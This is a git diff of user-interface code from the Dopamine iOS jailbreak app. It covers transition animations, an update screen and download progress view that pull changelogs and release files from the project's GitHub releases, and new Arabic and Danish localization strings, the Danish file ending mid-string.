(NSTimeInterval)transitionDuration:(nullable id)transitionContext { UIViewController *toViewController = [transitionContext viewControllerForKey:UITransitionContextToViewControllerKey]; UIViewController *fromViewController = [transitionContext viewControllerForKey:UITransitionContextFromViewControllerKey]; + + int screen_width = fromViewController.navigationController.view.bounds.size.width; [[transitionContext containerView] addSubview:toViewController.view]; - toViewController.view.alpha = 0; - toViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7); + screen_width *= _forwards ? 1 : -1; - [UIView animateWithDuration:0.2 animations:^{ - fromViewController.view.alpha = 0; - }]; + + toViewController.view.transform = CGAffineTransformTranslate(CGAffineTransformIdentity, screen_width, 0); + fromViewController.view.transform = CGAffineTransformIdentity; [UIView animateWithDuration:0.6 delay:0.0 usingSpringWithDamping:0.9 initialSpringVelocity:2.0 options: UIViewAnimationOptionCurveEaseInOut animations:^{ - toViewController.view.alpha = 1; toViewController.view.transform = CGAffineTransformIdentity; - - fromViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, 0.9, 0.9); + fromViewController.view.transform = CGAffineTransformTranslate(CGAffineTransformIdentity, -screen_width, 0); } completion:^(BOOL finished) { fromViewController.view.transform = CGAffineTransformIdentity; [transitionContext completeTransition:!transitionContext.transitionWasCancelled]; - }]; - - + }]; } @end diff --git a/Application/Dopamine/UI/Transition/DOModalTransitionPop.h b/Application/Dopamine/UI/Transition/DOModalTransitionScale.h similarity index 53% rename from Application/Dopamine/UI/Transition/DOModalTransitionPop.h rename to Application/Dopamine/UI/Transition/DOModalTransitionScale.h index a14dd3e70b..8febca69aa 100644 --- a/Application/Dopamine/UI/Transition/DOModalTransitionPop.h +++ b/Application/Dopamine/UI/Transition/DOModalTransitionScale.h @@ -1,5 +1,5 @@ // -// DOModalTransition.h +// DOModalTransitionScale.h // Dopamine // // Created by tomt000 on 08/01/2024. @@ -10,7 +10,9 @@ NS_ASSUME_NONNULL_BEGIN -@interface DOModalTransitionPop : NSObject +@interface DOModalTransitionScale : NSObject + +- (id)initForwards:(BOOL)forwards; @end diff --git a/Application/Dopamine/UI/Transition/DOModalTransitionPop.m b/Application/Dopamine/UI/Transition/DOModalTransitionScale.m similarity index 65% rename from Application/Dopamine/UI/Transition/DOModalTransitionPop.m rename to Application/Dopamine/UI/Transition/DOModalTransitionScale.m index 8a64436e00..ab7c232ffa 100644 --- a/Application/Dopamine/UI/Transition/DOModalTransitionPop.m +++ b/Application/Dopamine/UI/Transition/DOModalTransitionScale.m @@ -1,13 +1,27 @@ // -// DOModalTransition.m +// DOModalTransitionScale.m // Dopamine // // Created by tomt000 on 08/01/2024. // -#import "DOModalTransitionPop.h" +#import "DOModalTransitionScale.h" -@implementation DOModalTransitionPop +@interface DOModalTransitionScale () + +@property (nonatomic, assign) BOOL forwards; + +@end + +@implementation DOModalTransitionScale + +- (id)initForwards:(BOOL)forwards { + self = [super init]; + if (self) { + _forwards = forwards; + } + return self; +} - (NSTimeInterval)transitionDuration:(nullable id)transitionContext { return 0.5; @@ -19,20 +33,24 @@ - (void)animateTransition:(id)transitionCo [[transitionContext containerView] addSubview:toViewController.view]; + float scaleIn = _forwards ? 0.7 : 0.9; + float scaleOut = _forwards ? 0.9 : 0.7; + toViewController.view.alpha = 0; - toViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, 0.9, 0.9); + toViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, scaleIn, scaleIn); + [UIView animateWithDuration:0.2 animations:^{ + fromViewController.view.alpha = 0; + }]; + [UIView animateWithDuration:0.6 delay:0.0 usingSpringWithDamping:0.9 initialSpringVelocity:2.0 options: UIViewAnimationOptionCurveEaseInOut animations:^{ toViewController.view.alpha = 1; toViewController.view.transform = CGAffineTransformIdentity; - - fromViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7); - fromViewController.view.alpha = 0; + fromViewController.view.transform = CGAffineTransformScale(CGAffineTransformIdentity, scaleOut, scaleOut); } completion:^(BOOL finished) { + fromViewController.view.transform = CGAffineTransformIdentity; [transitionContext completeTransition:!transitionContext.transitionWasCancelled]; }]; - - } @end diff --git a/Application/Dopamine/UI/Update/DODownloadViewController.h b/Application/Dopamine/UI/Update/DODownloadViewController.h new file mode 100644 index 0000000000..c6ac4cdd7e --- /dev/null +++ b/Application/Dopamine/UI/Update/DODownloadViewController.h @@ -0,0 +1,18 @@ +// +// DODownloadViewController.h +// Dopamine +// +// Created by tomt000 on 07/02/2024. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DODownloadViewController : UIViewController + +- (id)initWithUrl:(NSString *)urlString callback:(void (^)(NSURL *file))callback; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Update/DODownloadViewController.m b/Application/Dopamine/UI/Update/DODownloadViewController.m new file mode 100644 index 0000000000..502ed06680 --- /dev/null +++ b/Application/Dopamine/UI/Update/DODownloadViewController.m @@ -0,0 +1,157 @@ +// +// DODownloadViewController.m +// Dopamine +// +// Created by tomt000 on 07/02/2024. +// + +#import "DODownloadViewController.h" +#import "DOUpdateCircleView.h" +#import "DOUIManager.h" + +@interface DODownloadViewController () + +@property (strong, nonatomic) DOUpdateCircleView *circleView; +@property (strong, nonatomic) NSString *urlString; +@property (copy, nonatomic) void (^downloadCallback)(NSURL *file); + +@property (nonatomic, retain) UILabel *titleLabel; +@property (nonatomic, retain) UILabel *descriptionLabel; + +@end + +@implementation DODownloadViewController + +- (id)initWithUrl:(NSString *)urlString callback:(void (^)(NSURL *file))callback { + self = [super init]; + if (self) { + self.urlString = urlString; + self.downloadCallback = callback; + } + return self; +} + +- (void)viewDidLoad { + [super viewDidLoad]; + + UIStackView *stackView = [[UIStackView alloc] init]; + stackView.axis = UILayoutConstraintAxisVertical; + stackView.alignment = UIStackViewAlignmentCenter; + stackView.distribution = UIStackViewDistributionEqualSpacing; + stackView.spacing = 10; + stackView.translatesAutoresizingMaskIntoConstraints = NO; + + self.titleLabel = [[UILabel alloc] init]; + self.titleLabel.text = DOLocalizedString(@"Update_Status_Downloading"); + self.titleLabel.font = [UIFont systemFontOfSize:24 weight:UIFontWeightMedium]; + self.titleLabel.textColor = [UIColor colorWithWhite:1.0 alpha:1.0]; + + self.descriptionLabel = [[UILabel alloc] init]; + self.descriptionLabel.text = DOLocalizedString(@"Update_Status_Subtitle_Please_Wait"); + self.descriptionLabel.font = [UIFont systemFontOfSize:18 weight:UIFontWeightRegular]; + self.descriptionLabel.textColor = [UIColor colorWithWhite:1.0 alpha:0.5]; + self.descriptionLabel.textAlignment = NSTextAlignmentCenter; + self.descriptionLabel.numberOfLines = 0; + + self.circleView = [[DOUpdateCircleView alloc] initWithFrame:CGRectNull]; + self.circleView.translatesAutoresizingMaskIntoConstraints = NO; + + UIView *spacer = [[UIView alloc] init]; + spacer.translatesAutoresizingMaskIntoConstraints = NO; + + [stackView addArrangedSubview:self.titleLabel]; + [stackView addArrangedSubview:self.descriptionLabel]; + [stackView addArrangedSubview:spacer]; + [stackView addArrangedSubview:self.circleView]; + + [NSLayoutConstraint activateConstraints:@[ + [self.circleView.widthAnchor constraintEqualToConstant:150], + [self.circleView.heightAnchor constraintEqualToConstant:150], + [spacer.heightAnchor constraintEqualToConstant:20] + ]]; + + [self.view addSubview:stackView]; + + [NSLayoutConstraint activateConstraints:@[ + [stackView.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [stackView.centerYAnchor constraintEqualToAnchor:self.view.centerYAnchor], + [stackView.widthAnchor constraintEqualToAnchor:self.view.widthAnchor multiplier:0.8] + ]]; + + [self startDownload]; +} + +- (void)startDownload { + NSURL *url = [NSURL URLWithString:self.urlString]; + if (!url) { + NSLog(@"Invalid URL"); + return; + } + + NSURLSession *session = [NSURLSession sharedSession]; + NSURLSessionDownloadTask *downloadTask = [session downloadTaskWithURL:url completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error) { + if (error) { + NSLog(@"Download error: %@", error.localizedDescription); + return; + } + + NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); + NSString *documentsDirectory = [paths objectAtIndex:0]; + NSString *destinationPath = [documentsDirectory stringByAppendingPathComponent:[location lastPathComponent]]; + NSURL *destinationURL = [NSURL fileURLWithPath:destinationPath]; + + NSError *fileError; + [[NSFileManager defaultManager] moveItemAtURL:location toURL:destinationURL error:&fileError]; + if (fileError) { + NSLog(@"File moving error: %@", fileError.localizedDescription); + return; + } + + dispatch_async(dispatch_get_main_queue(), ^{ + if (self.downloadCallback) { + self.downloadCallback(destinationURL); + [self startBlinking]; + } + }); + }]; + + [downloadTask resume]; + + [self trackDownloadProgress:downloadTask]; +} + +- (void)trackDownloadProgress:(NSURLSessionDownloadTask *)downloadTask { + [NSTimer scheduledTimerWithTimeInterval:(1.0/60.0) repeats:YES block:^(NSTimer * _Nonnull timer) { + if (self.circleView.progress >= 0.99) { + [timer invalidate]; + self.circleView.progress = 1.0; + return; + } + + [downloadTask countOfBytesExpectedToReceive]; + if (downloadTask.countOfBytesExpectedToReceive > 0) { + float progress = (float) downloadTask.countOfBytesReceived / (float) downloadTask.countOfBytesExpectedToReceive; + if (self.circleView.progress < progress) { + self.circleView.progress += (progress - self.circleView.progress) * 0.25; + } + } + }]; +} + +- (void)startBlinking { + self.titleLabel.text = DOLocalizedString(@"Update_Status_Installing"); + self.descriptionLabel.text = DOLocalizedString(@"Update_Status_Subtitle_Restart_Soon"); + [UIView animateWithDuration:0.5 delay:0 options:UIViewAnimationOptionAutoreverse | UIViewAnimationOptionRepeat | UIViewAnimationOptionAllowUserInteraction animations:^{ + self.circleView.alpha = 0.7; + } completion:nil]; +} + +#pragma mark - Status Bar + +- (UIStatusBarStyle)preferredStatusBarStyle +{ + return UIStatusBarStyleLightContent; +} + + +@end diff --git a/Application/Dopamine/UI/Update/DOUpdateCircleView.m b/Application/Dopamine/UI/Update/DOUpdateCircleView.m index 633652fe43..42c09924fb 100644 --- a/Application/Dopamine/UI/Update/DOUpdateCircleView.m +++ b/Application/Dopamine/UI/Update/DOUpdateCircleView.m @@ -11,6 +11,7 @@ @interface DOUpdateCircleView () @property (nonatomic, strong) CAShapeLayer *circleLayer; @property (nonatomic, strong) CAShapeLayer *progressLayer; +@property (nonatomic, strong) UILabel *label; @end @@ -40,10 +41,26 @@ -(void)setup { [self.layer addSublayer:self.circleLayer]; [self.layer addSublayer:self.progressLayer]; + + self.label = [[UILabel alloc] initWithFrame:self.bounds]; + self.label.textAlignment = NSTextAlignmentCenter; + self.label.textColor = [UIColor whiteColor]; + self.label.font = [UIFont systemFontOfSize:29 weight:UIFontWeightMedium]; + self.label.translatesAutoresizingMaskIntoConstraints = NO; + + [self addSubview:self.label]; + + [NSLayoutConstraint activateConstraints:@[ + [self.label.centerXAnchor constraintEqualToAnchor:self.centerXAnchor], + [self.label.centerYAnchor constraintEqualToAnchor:self.centerYAnchor], + [self.label.widthAnchor constraintEqualToAnchor:self.widthAnchor], + [self.label.heightAnchor constraintEqualToAnchor:self.heightAnchor] + ]]; } - (void)setProgress:(float)progress { _progress = progress; + self.label.text = [NSString stringWithFormat:@"%d%%", (int)(progress * 100)]; [self updateCirclePaths]; [self setNeedsDisplay]; } diff --git a/Application/Dopamine/UI/Update/DOUpdateViewController.h b/Application/Dopamine/UI/Update/DOUpdateViewController.h index 1836f5f749..06ce330b26 100644 --- a/Application/Dopamine/UI/Update/DOUpdateViewController.h +++ b/Application/Dopamine/UI/Update/DOUpdateViewController.h @@ -11,6 +11,8 @@ NS_ASSUME_NONNULL_BEGIN @interface DOUpdateViewController : UIViewController +- (id)initFromTag:(NSString *)fromTag toTag:(NSString *)toTag; + @end NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Update/DOUpdateViewController.m b/Application/Dopamine/UI/Update/DOUpdateViewController.m index 7728aa8506..e95b78d991 100644 --- a/Application/Dopamine/UI/Update/DOUpdateViewController.m +++ b/Application/Dopamine/UI/Update/DOUpdateViewController.m @@ -7,31 +7,210 @@ #import "DOUpdateViewController.h" #import "DOUpdateCircleView.h" +#import "DOActionMenuButton.h" +#import "DOGlobalAppearance.h" +#import "DODownloadViewController.h" +#import "DOUIManager.h" +#import "DOEnvironmentManager.h" +#import @interface DOUpdateViewController () +@property (strong, nonatomic) UITextView *changelog; +@property (strong, nonatomic) NSString *lastestDownloadUrl; +@property (strong, nonatomic) CAGradientLayer *gradientMask; +@property (strong, nonatomic) UIView *changelogSuperview; +@property (strong, nonatomic) DOActionMenuButton *button; + +@property (strong, nonatomic) NSString *fromTag; +@property (strong, nonatomic) NSString *toTag; + @end @implementation DOUpdateViewController +- (id)initFromTag:(NSString *)fromTag toTag:(NSString *)toTag +{ + if (self = [super init]) + { + self.fromTag = fromTag; + self.toTag = toTag; + } + return self; +} + - (void)viewDidLoad { [super viewDidLoad]; + + UILabel *title = [[UILabel alloc] init]; + title.text = DOLocalizedString(@"Title_Changelog"); + title.font = [UIFont systemFontOfSize:24 weight:UIFontWeightMedium]; + title.textColor = [UIColor colorWithWhite:1.0 alpha:1.0]; + title.textAlignment = NSTextAlignmentCenter; + title.translatesAutoresizingMaskIntoConstraints = NO; + + [self.view addSubview:title]; + + [NSLayoutConstraint activateConstraints:@[ + [title.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [title.topAnchor constraintEqualToAnchor:self.view.topAnchor constant:20] + ]]; + + self.changelogSuperview = [[UIView alloc] init]; + self.changelogSuperview.translatesAutoresizingMaskIntoConstraints = NO; + + self.changelog = [[UITextView alloc] init]; + self.changelog.font = [UIFont systemFontOfSize:16]; + self.changelog.textColor = [UIColor colorWithWhite:1.0 alpha:1.0]; + self.changelog.backgroundColor = [UIColor clearColor]; + self.changelog.translatesAutoresizingMaskIntoConstraints = NO; + self.changelog.editable = NO; + self.changelog.textAlignment = NSTextAlignmentCenter; + self.changelog.alpha = 0.7; + + NSMutableParagraphStyle * paragraphStyle = [[NSMutableParagraphStyle alloc] init]; + paragraphStyle.alignment = NSTextAlignmentCenter; + + [self.changelogSuperview addSubview:self.changelog]; + [self.view addSubview:self.changelogSuperview]; + + [NSLayoutConstraint activateConstraints:@[ + [self.changelogSuperview.topAnchor constraintEqualToAnchor:title.bottomAnchor constant:20], + [self.changelogSuperview.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor], + [self.changelogSuperview.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor], + [self.changelogSuperview.bottomAnchor constraintEqualToAnchor:self.view.bottomAnchor], + [self.changelog.topAnchor constraintEqualToAnchor:self.changelogSuperview.topAnchor], + [self.changelog.leadingAnchor constraintEqualToAnchor:self.changelogSuperview.leadingAnchor], + [self.changelog.trailingAnchor constraintEqualToAnchor:self.changelogSuperview.trailingAnchor], + [self.changelog.bottomAnchor constraintEqualToAnchor:self.changelogSuperview.bottomAnchor] + ]]; + + + //add a alpha gradient mask to changelog superview + self.gradientMask = [CAGradientLayer layer]; + self.gradientMask.frame = self.changelogSuperview.bounds; + self.gradientMask.colors = @[(id)[UIColor clearColor].CGColor, (id)[UIColor whiteColor].CGColor, (id)[UIColor whiteColor].CGColor, (id)[UIColor clearColor].CGColor]; + self.gradientMask.locations = @[@0.0, @0.01, @0.5, @0.87]; + self.changelogSuperview.layer.mask = self.gradientMask; + + BOOL envUpdate = [[DOUIManager sharedInstance] environmentUpdateAvailable]; + + self.button = [DOActionMenuButton buttonWithAction:[UIAction actionWithTitle:DOLocalizedString(envUpdate ? @"Button_Update_Environment" : @"Button_Update") image:[UIImage systemImageNamed:@"arrow.down" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"update" handler:^(__kindof UIAction * _Nonnull action) { + if (envUpdate) + { + self.button.enabled = NO; + self.button.alpha = 0.5; + NSError *error = [[DOEnvironmentManager sharedManager] updateEnvironment]; + if (error) + { + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error Updating Basebin" message:error.localizedDescription preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Close") style:UIAlertActionStyleDefault handler:nil]]; + [self presentViewController:alert animated:YES completion:nil]; + } + return; + } + + if (![DOEnvironmentManager sharedManager].isJailbroken || [[DOUIManager sharedInstance] launchedReleaseNeedsManualUpdate] || ![DOEnvironmentManager sharedManager].isInstalledThroughTrollStore) + { + if ([DOEnvironmentManager sharedManager].isInstalledThroughTrollStore) { + LSApplicationProxy *tsAppProxy = [LSApplicationProxy applicationProxyForIdentifier:@"com.opa334.TrollStore"]; + if ([tsAppProxy.claimedURLSchemes containsObject:@"apple-magnifier"]) { + [[UIApplication sharedApplication] openURL:[NSURL URLWithString:[@"apple-magnifier://install?url=" stringByAppendingString:self.lastestDownloadUrl]] options:@{} completionHandler:nil]; + return; + } + } + [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/opa334/Dopamine/releases"] options:@{} completionHandler:nil]; + return; + } + + DODownloadViewController *downloadVC = [[DODownloadViewController alloc] initWithUrl:self.lastestDownloadUrl callback:^(NSURL * _Nonnull file) { + NSLog(@"Downloaded %@", file); + [[DOEnvironmentManager sharedManager] updateJailbreakFromTIPA:file.path]; + }]; + [(UINavigationController*)(self.parentViewController) pushViewController:downloadVC animated:YES]; + }] chevron:NO]; - DOUpdateCircleView *circleView = [[DOUpdateCircleView alloc] initWithFrame:CGRectNull]; - circleView.translatesAutoresizingMaskIntoConstraints = NO; - [self.view addSubview:circleView]; + self.button.translatesAutoresizingMaskIntoConstraints = NO; + self.button.hidden = !envUpdate; + [self.view addSubview:self.button]; [NSLayoutConstraint activateConstraints:@[ - [circleView.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], - [circleView.centerYAnchor constraintEqualToAnchor:self.view.centerYAnchor], - [circleView.widthAnchor constraintEqualToConstant:140], - [circleView.heightAnchor constraintEqualToConstant:140] + [self.button.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [self.button.heightAnchor constraintEqualToConstant:30], + [self.button.bottomAnchor constraintEqualToAnchor:self.view.bottomAnchor constant:-20] ]]; - [circleView setProgress:0.4]; + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [self updateChangelog]; + }); +} + +- (void)viewDidLayoutSubviews { + [super viewDidLayoutSubviews]; + self.gradientMask.frame = self.changelogSuperview.bounds; +} + +#pragma mark - Fetching Changelog + +- (void)updateChangelog +{ + NSArray *releases = [[DOUIManager sharedInstance] getUpdatesInRange:self.fromTag end:self.toTag]; + NSMutableParagraphStyle * paragraphStyle = [[NSMutableParagraphStyle alloc] init]; + paragraphStyle.alignment = NSTextAlignmentCenter; + NSMutableAttributedString *changelogText = [[NSMutableAttributedString alloc] initWithString:@""]; + + if (releases.count == 0) + { + [changelogText appendAttributedString:[[NSAttributedString alloc] initWithString:DOLocalizedString(@"Changelog_Unavailable_Text") attributes:@{NSFontAttributeName: [UIFont systemFontOfSize:18], NSForegroundColorAttributeName : [UIColor whiteColor], NSParagraphStyleAttributeName:paragraphStyle}]]; + dispatch_async(dispatch_get_main_queue(), ^{ + self.changelog.attributedText = changelogText; + }); + return; + } + + [releases enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) { + NSDictionary *release = (NSDictionary*)obj; + NSString *name = release[@"name"]; + NSString *body = release[@"body"]; + [changelogText appendAttributedString:[[NSAttributedString alloc] initWithString:[NSString stringWithFormat:@"%@\n", name] attributes:@{NSFontAttributeName: [UIFont boldSystemFontOfSize:18], NSForegroundColorAttributeName : [UIColor whiteColor], NSParagraphStyleAttributeName:paragraphStyle}]]; + [changelogText appendAttributedString:[[NSAttributedString alloc] initWithString:@"\n"]]; + + NSAttributedStringMarkdownParsingOptions *parsingOptions = [[NSAttributedStringMarkdownParsingOptions alloc] init]; + parsingOptions.allowsExtendedAttributes = YES; + parsingOptions.interpretedSyntax = NSAttributedStringMarkdownInterpretedSyntaxInlineOnlyPreservingWhitespace; + + NSMutableAttributedString *markdownStringMut = [[NSAttributedString alloc] initWithMarkdownString:body options:parsingOptions baseURL:nil error:nil].mutableCopy; + + [markdownStringMut addAttributes:@{NSFontAttributeName: [UIFont systemFontOfSize:16], NSForegroundColorAttributeName : [UIColor whiteColor], NSParagraphStyleAttributeName:paragraphStyle} range:NSMakeRange(0, markdownStringMut.length)]; + + [changelogText appendAttributedString:markdownStringMut]; + + [changelogText appendAttributedString:[[NSAttributedString alloc] initWithString:@"\n\n\n"]]; + if (idx == 0) + { + NSArray *assets = release[@"assets"]; + if (assets && assets.count > 0) + { + dispatch_async(dispatch_get_main_queue(), ^{ + self.lastestDownloadUrl = release[@"assets"][0][@"browser_download_url"]; + self.button.hidden = NO; + }); + } + } + }]; + [changelogText appendAttributedString:[[NSAttributedString alloc] initWithString:@"\n\n\n\n\n\n\n\n\n\n"]]; + dispatch_async(dispatch_get_main_queue(), ^{ + self.changelog.attributedText = changelogText; + }); } +#pragma mark - Status Bar + +- (UIStatusBarStyle)preferredStatusBarStyle +{ + return UIStatusBarStyleLightContent; +} @end diff --git a/Application/Dopamine/ar.lproj/Localizable.strings b/Application/Dopamine/ar.lproj/Localizable.strings new file mode 100644 index 0000000000..9c42eb5907 --- /dev/null +++ b/Application/Dopamine/ar.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "صنع بواسطة opa334 و évelyne"; + +// Log +"Status_Title_Jailbreaking" = "جارِ تفعيل الجيلبريك"; +"Log_Error" = "فشل"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "جيلبريك"; +"Status_Title_Jailbroken" = "الجيلبريك مفعل"; +"Unsupported" = "غير مدعوم"; + +// Action Menu +"Menu_Settings_Title" = "الإعدادات"; +"Menu_Restart_SpringBoard_Title" = "إعادة تشغيل واجهة النظام"; +"Menu_Reboot_Userspace_Title" = "إعادة تشغيل Userspace"; +"Menu_Credits_Title" = "الاعتمادات"; + +// Updating +"Button_Update" = "تحديث"; +"Button_Update_Available" = "يتوفر تحديث"; +"Button_Update_Environment" = "تحديث البيئة"; + +// Update View +"Update_Status_Downloading" = "جارِ تنزيل التحديث…"; +"Update_Status_Subtitle_Please_Wait" = "يرجى الانتظار لحين الانتهاء من تنزيل الملفات"; +"Update_Status_Installing" = "جارِ تثبيت التحديث…"; +"Update_Status_Subtitle_Restart_Soon" = "سيتم إعادة تشغيل الجهاز خلال لحظات"; +"Title_Changelog" = "سجل التغييرات"; +"Changelog_Unavailable_Text" = "سجل التغييرات غير متاح"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "إزالة الجيلبريك"; +"Removed_Jailbreak_Alert_Message" = "تم إزالة الجيلبريك بنجاح. يوصى بإعادة تشغيل الجهاز."; +"Button_Close" = "إغلاق"; + +// Error View +"Button_Share" = "مشاركة"; +"Button_Reboot" = "إبلاغ"; + +// Settings Toggles +"Settings_Tweak_Injection" = "تشغيل الأدوات"; +"Settings_iDownload" = "iDownload (محطة المطور)"; +"Settings_Verbose_Logs" = "السجلات المطولة"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "إزالة الجيلبريك"; +"Button_Hide_Jailbreak" = "إخفاء الجيلبريك"; +"Button_Unhide_Jailbreak" = "عدم إخفاء الجيلبريك"; +"Button_Refresh_Jailbreak_Apps" = "تحديث تطبيقات الجيلبريك"; +"Button_Reinstall_Package_Managers" = "إعادة تثبيت مديري الحزم"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"إخفاء الجيلبريك\" يقوم بإزالة الملفات المتعلقة بالجيلبريك مؤقتًا حتى تفعيل الجيلبريك القادم."; +"Hint_Hide_Jailbreak_Jailbroken" = "\"إخفاء الجيلبريك\" يعطل الجيلبريك جزئيًا ويجعل كشفه أكثر صعوبة. ومع ذلك، فإن هذه الخاصية ليست فعالة ١٠٠٪؜ ولا تخفي كل شيء."; +"Section_Jailbreak_Settings" = "إعدادات الجيلبريك"; +"Section_Actions" = "الإجراءات"; +"Section_Customization" = "التخصيص"; +"Section_Exploits" = "الثغرات"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "يتطلب إعادة تشغيل userspace"; +"Alert_Tweak_Injection_Toggled_Body" = "إعادة تشغيل userspace ضرورية لتطبيق التغييرات. هل تريد فعلها الآن؟"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "إعادة التشغيل الآن"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "إعادة التشغيل لاحقًا"; +"Alert_Remove_Jailbreak_Title" = "إزالة الجيلبريك"; +"Alert_Remove_Jailbreak_Pressed_Body" = "ستؤدي إزالة الجيلبريك إلى حذف جميع الملفات المتعلقة به، ولكن سيتم الاحتفاظ بجميع التطبيقات والملفات والبيانات العادية. هل أنت متأكد من أنك تريد الاستمرار؟ لا يمكنك التراجع عن هذا الإجراء."; +"Alert_Remove_Jailbreak_Enabled_Body" = "إن تفعيل \"إزالة الجيلبريك\" سيؤدي إلى إزالة كل الملفات المتعلقة بالجيلبريك عند التفعيل القادم للجيلبريك، ولكن سيتم الاحتفاظ بكل التطبيقات العادية والملفات والبيانات. هل أنت متأكد من أنك تريد الاستمرار؟ لا يمكن التراجع عن هذا الإجراء."; +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "إلغاء"; +"Button_Continue" = "استمرار"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "توجد عدة تطبيقات تحمل المعرف \"%@\" داخل دليل تطبيق Dopamine (\"%@\"). لا يمكن الاستمرار."; +"Duplicate_Apps_Error_User_App" = "التطبيقات التي تحمل المعرفات %@ موجودة داخل دليل تطبيق Dopamine (\"%@\") ولكنها مثبتة بشكل منفصل على النظام. لا يمكن الاستمرار."; +"Duplicate_Apps_Error_Icon_Cache" = "التطبيق الذي يحمل المعرف \"%@\" موجود داخل دليل تطبيق Dopamine (\"%@\") ولكنه مسجل في ذاكرة التخزين المؤقت للأيقونات تحت مسار مختلف (\"%@\"). لا يمكن الاستمرار."; + +// Settings Lists +"Theme" = "السمة"; +"Kernel Exploit" = "ثغرة الـ Kernel"; +"PPL Bypass" = "تجاوز PPL"; +"PAC Bypass" = "تجاوز PAC"; +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "التراخيص"; +"Credits_Button_Source_Code" = "شفرة المصدر"; + +// Logs +"Initializing Environment" = "تحسين بيئة الجيلبريك"; +/*Initializing Protection*/ +"Loading BaseBin TrustCache" = "تحميل BaseBin TrustCache"; +"Applying Bind Mount" = "تطبيق Bind Mount"; +"Removing Jailbreak" = "إزالة الجيلبريك"; +"Elevating Privileges" = "رفع الامتيازات"; +"Cleaning Up Exploits" = "تحسين أداء الثغرات"; +"Building Phys R/W Primitive" = "بناء فيزيائية ق/ك المبدئية"; +"Rebooting Userspace" = "إعادة تشغيل Userspace"; +"Patchfinding" = "العثور على التصحيح"; +"Exploiting Kernel (%@)" = "ثغرة الـ Kernel (%@)"; +"Bypassing PAC (%@)" = "تجاوز PAC (%@)"; +"Bypassing PPL (%@)" = "تجاوز PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "اختر مدير الحزمة"; +"Select_Package_Managers_Install_Message" = "إذا كنت محتارًا في الاختيار، فاختر Sileo"; +"Continue" = "استمرار"; + diff --git a/Application/Dopamine/da.lproj/Localizable.strings b/Application/Dopamine/da.lproj/Localizable.strings new file mode 100644 index 0000000000..baa99ea7bf --- /dev/null +++ b/Application/Dopamine/da.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Lavet af opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "Mislykket"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Indstillinger"; +"Menu_Restart_SpringBoard_Title" = "Genstart SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Genstart Userspace"; +"Menu_Credits_Title" = "Credits"; + +// Updating +"Button_Update" = "Opdater"; +"Button_Update_Available" = "Opdatering tilgængelig"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Downloader opdatering..."; +"Update_Status_Subtitle_Please_Wait" = "Vent venligst mens filerne er færdige med at downloade"; +"Update_Status_Installing" = "Installerer opdatering..."; +"Update_Status_Subtitle_Restart_Soon" = "Enheden vil genstarte snart"; +"Title_Changelog" = "Ændringslog"; +"Changelog_Unavailable_Text" = "Ændringslog utilgængelig"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak-injektion"; +"Settings_iDownload" = "iDownload (Udviklerterminal)"; +"Settings_Verbose_Logs" = "Detaljerede logfiler"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Fjern Jailbreak"; +"Button_Hide_Jailbreak" = "Skjul Jailbreak"; +"Button_Unhide_Jailbreak" = "Vis Jailbreak"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Skjul 